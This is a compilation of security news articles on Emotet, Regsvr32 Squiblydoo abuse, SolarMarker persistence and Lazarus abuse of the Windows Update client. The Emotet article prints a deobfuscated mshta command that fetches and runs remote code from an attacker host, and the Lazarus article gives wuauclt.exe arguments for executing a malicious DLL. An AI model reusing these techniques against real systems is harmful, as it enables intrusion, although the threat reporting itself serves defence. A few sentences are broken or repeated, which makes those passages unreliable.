When the macro code is enabled, cmd.exe is executed to launch mshta.exe with an argument to obtain and run a remote HTML application. In order to avoid static detection methods, the code employs hex and character obfuscation, cmd /c mshta hxxp://91.240.118[.]168/se/s.html is the deobfuscated command string that is executed. The HTML application has been heavily obfuscated. It will download and run additional PowerShell code.

The first PowerShell script is obfuscated and connects to hxxp://91.240.118[.]168/se/s.png. This URL delivers a text-based script for a second-stage set of PowerShell code aimed at retrieving an Emotet binary. This second-stage PowerShell code contains 14 URLs that will be used to retrieve the Emotet binaries. 

Each URL is tried until an Emotet binary is successfully downloaded. The use of numerous URLs strengthens this assault in the case that one of the URLs is taken down. As the final stage of this attack chain, the Emotet DLL loads an encrypted PE from its resource area. 

“Emotet’s new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload,” Unit 42 researchers Saqib Khanzada, Tyler Halfpop, Micah Yates and Brad Duncan wrote.

Hackers are Now Utilizing Office Documents to Launch the Regsvr32 Utility

 

Regsvr32, a Windows living-off-the-land binary (LOLBin) used to propagate trojans like Lokibot and Qbot, is seeing a surge in abuse recently, according to researchers. 

LOLBins are genuine, native utilities which are used on a regular basis in a variety of computing settings, yet are utilized by cybercriminals to avoid detection by merging in with typical traffic patterns. Regsvr32 is a Windows command-line program signed by Microsoft which lets users register and unregister DLLs (Dynamic Link Library). Information about a DLL file is uploaded to the centralized registry so the Windows may use it. 

This makes things simpler for other programs to take advantage of the DLLs' features. This broad reach is appealing to cybercriminals, who may exploit the utility through Squiblydoo, which has been a utilized malware by known APT groups, such as in spear-fishing efforts against Russian firms, and more recently in certain crypto mining events. 

Unlawful utilization of Regsvr32 has been on the rise recently in the Uptycs data, with cybercrooks attempting to register specifically. As a group, we. ActiveX controls are code blocks designed by Microsoft that allow applications to perform specified functions, such as showing a calendar, using OCX files. 

Uptycs EDR employs a multi-layered detection strategy that not only analyzes threats using the Squiblydoo technique but also prioritizes them according to a specific composite score and severity. This helps analysts focus on key situations first, reducing alert fatigue. 

The majority of such Microsoft Excel files found in the attacks have the.XLSM or.XLSB prefixes, which indicate files contain embedded macros. Using the formulas in the macros, hackers normally download or operate a malicious payload from the URL during the campaign. 

Conventional security systems and security personnel tracking this operation for malicious actions face a problem because regsvr32 is frequently utilized for regular daily tasks. The following aspects can be monitored by security teams: 

  • The parent/child program relations where regsvr32 is run alongside a Microsoft Word or Excel parent process. 
  • Locating  regsvr32.exe operations that load the scrobj.dll, which performs the COM scriptlet, to identify it.

SolarMarker Malware Utilize Cutting-Edge Techniques


The SolarMarker data thief and gateway operators have been identified using devious Windows Registry ways to maintain long-term persistence on infected systems, indicating that the malicious actors are constantly changing strategy and improving defensive mechanisms.

The. NET-based malware, which boasts data harvesting and backdoor capabilities, has been linked to at least three consecutive attack waves in 2021. The first batch revealed in April, employed search engine poisoning to trick business executives by visiting dodgy Google pages which downloaded SolarMarker on users' PCs. In August, the malware was discovered to be stealing accounts and sensitive information from the healthcare and education sectors.

In the following infection chains revealed by Morphisec in September 2021, the usage of MSI installers to assure malware dissemination was observed. SolarMarker's technique begins with users being directed to decoy sites with drop MSI installer payloads which, while downloading ostensibly legitimate software like Adobe Acrobat Pro DC, Nitro Pro, or Wondershare PDFelement, really launch a PowerShell script.

According to cybersecurity firm Sophos, which noticed the new behavior, despite the operation's end in November 2021, remote management implants are still located on targeted networks."Such SEO efforts, which blended Google Groups consultations with deceitful web pages and PDF documents hosted on infected sites, are beneficial, the SolarMarker lures were ordinarily at or near the top of the search engines for phrases the SolarMarker actors targeted," said Sophos researchers Gabor Szappanos and Sean Gallagher. 

To assure persistence, the PowerShell installer modifies the Registry Entries and drops a.LNK file into Windows' starting directory. This unlawful alteration causes the malware to be delivered from an encrypted payload concealed behind a "smokescreen" of 100 to 300 garbage files built particularly for this purpose.

The researchers explained, "Usually, one might assume this associated file to be an operable or script file." "However, the linked file for these SolarMarker operations is one of the random trash files, therefore cannot be performed by itself."

Furthermore, the linked junk file's unique and random file extension is used to build a custom file type key, which is then used to run an Executable from the Registry to run the malware during system startup. The backdoor, on the other hand, is constantly growing, with features that allow it to capture information from online browsers, facilitate bitcoin theft, and run arbitrary instructions and programs, with the results being sent to a remote server.

The backdoor is continually being updated with new capabilities that make it possible to steal data from the web browsers, ease bitcoin theft, and execute arbitrary commands and applications with the results related to a remote server. 

 Lazarus APT Cell Exploits the Windows Update Client

 

According to experts at a cyber security agency, Lazarus, a notable hacking organization with ties to the North Korean government, has been utilizing the Windows Update client to spread malware as part of a new spear-phishing effort.

The North Korean nation-state hacking outfit known as the Lazarus Group, formerly as APT38, Hidden Cobra, Whois Hacking Team, and Zinc, has been operating since at least 2009. The threat actor was tied to a sophisticated social engineering campaign aimed at security experts last year. 

The two macro-embedded messages seem to be enticing the targets about new Lockheed Martin job opportunities: 
  • Lockheed Martin JobOpportunities.docx 
  • Salary Lockheed Martin job opportunities confidential.doc 

Both of these documents were created on April 24, 2020, but enough evidence leads us to believe it was leveraged in a campaign between late December 2021 and early 2022. The threat actor's domains are one of the pieces of evidence that this attack took place recently. The attack begins with the malicious macros hidden in the Word document being executed. 

The malware executes a series of implants in order to gain startup persistence on the target computer and inserts code into the computer's restart system to ensure a restart does not knock down the virus.

Researchers discovered evidence that the threat group used GitHub as a command and control (C2) site for its attacks. Lazarus' use of GitHub as a C2 is unusual, according to the researchers, who claim this is the first time a group is seen to be doing so. The threat group was found to be utilizing GitHub as a command and control (C2) site for its attacks. According to the researchers, Lazarus' usage of GitHub as a C2 is uncommon. 

The campaign's attribution to the Lazarus APT is based on different facts as stated below: 
  • The usage of employment opportunities as a template is something Lazarus has done before.
  • Defense industry targets, particularly Lockheed Martin, are well-known targets for North Korean-linked APT. 
  • The metadata utilized in this campaign connects the documents to various other materials used by Lazarus previously.

The Lazarus Group uses Windows Update to Spread Malware

 

Researchers discovered that Lazarus Group is leveraging Windows Update to spread malware in a campaign backed by a GitHub command-and-control (C2) server. The Malwarebytes Threat Intelligence team announced on Thursday that they identified the North Korean state advanced persistent threat (APT) group's latest living-off-the-land strategy while investigating a spear-phishing campaign discovered on Jan. 18. 

The campaign's emphasis – in which the APT posed as the American global security and aerospace company Lockheed Martin – is consistent with Lazarus' preference for penetrating the military.  

Lazarus, which has been active since at least 2009, is regarded by researchers as one of the world's most active threat actors. The US also refers to Lazarus as Hidden Cobra, a term used to describe the North Korean government's cyber-activity in general.

“This APT group has been behind large-scale cyber-espionage and ransomware campaigns and has been spotted attacking the defence industry and cryptocurrency markets,” Kaspersky researchers have noted in the past. 

In the Jan. 18 campaign, Malwarebytes discovered two macro-embedded decoy documents purporting to offer new job openings at Lockheed Martin. Their filenames: Lockheed_Martin_JobOpportunities.docx and Salary_Lockheed_Martin_job_opportunities_confidential.doc. 

Both of these documents were created on April 24, 2020, but researchers have enough evidence to believe they were utilized in a campaign in late December 2021 or early 2022. The domains utilized by the threat actor are some of the evidence that this assault was carried out recently. Both documents employ the same attack theme and share some features, such as embedded macros, but the entire attack chain appears to be completely different. 

According to the researchers, the attack begins by running malicious macros embedded in Word documents. The malware achieves startup persistence in the victim's system after a series of injections. When a victim opens the malicious attachments and allows macro execution, an embedded macro places a WindowsUpdateConf.lnk file in the startup folder and a DLL file (wuaueng.dll) in a secret Windows/System32 folder. LNK files are Windows shortcut files, meaning they are pointers to original files in Windows. 

Then comes the .LNK file which is needed to launch the WSUS / Windows Update client - wuauclt.exe, a genuine process file generally known as Windows automatic updates and is located in C:WindowsSystem32. The Update client is used to execute a malicious DLL that avoids detection by security software. 

“With this method, the threat actor can execute its malicious code through the Microsoft Windows Update client by passing the following arguments: /UpdateDeploymentProvider, Path to malicious DLL and /RunHandlerComServer argument after the DLL,” the researchers explained.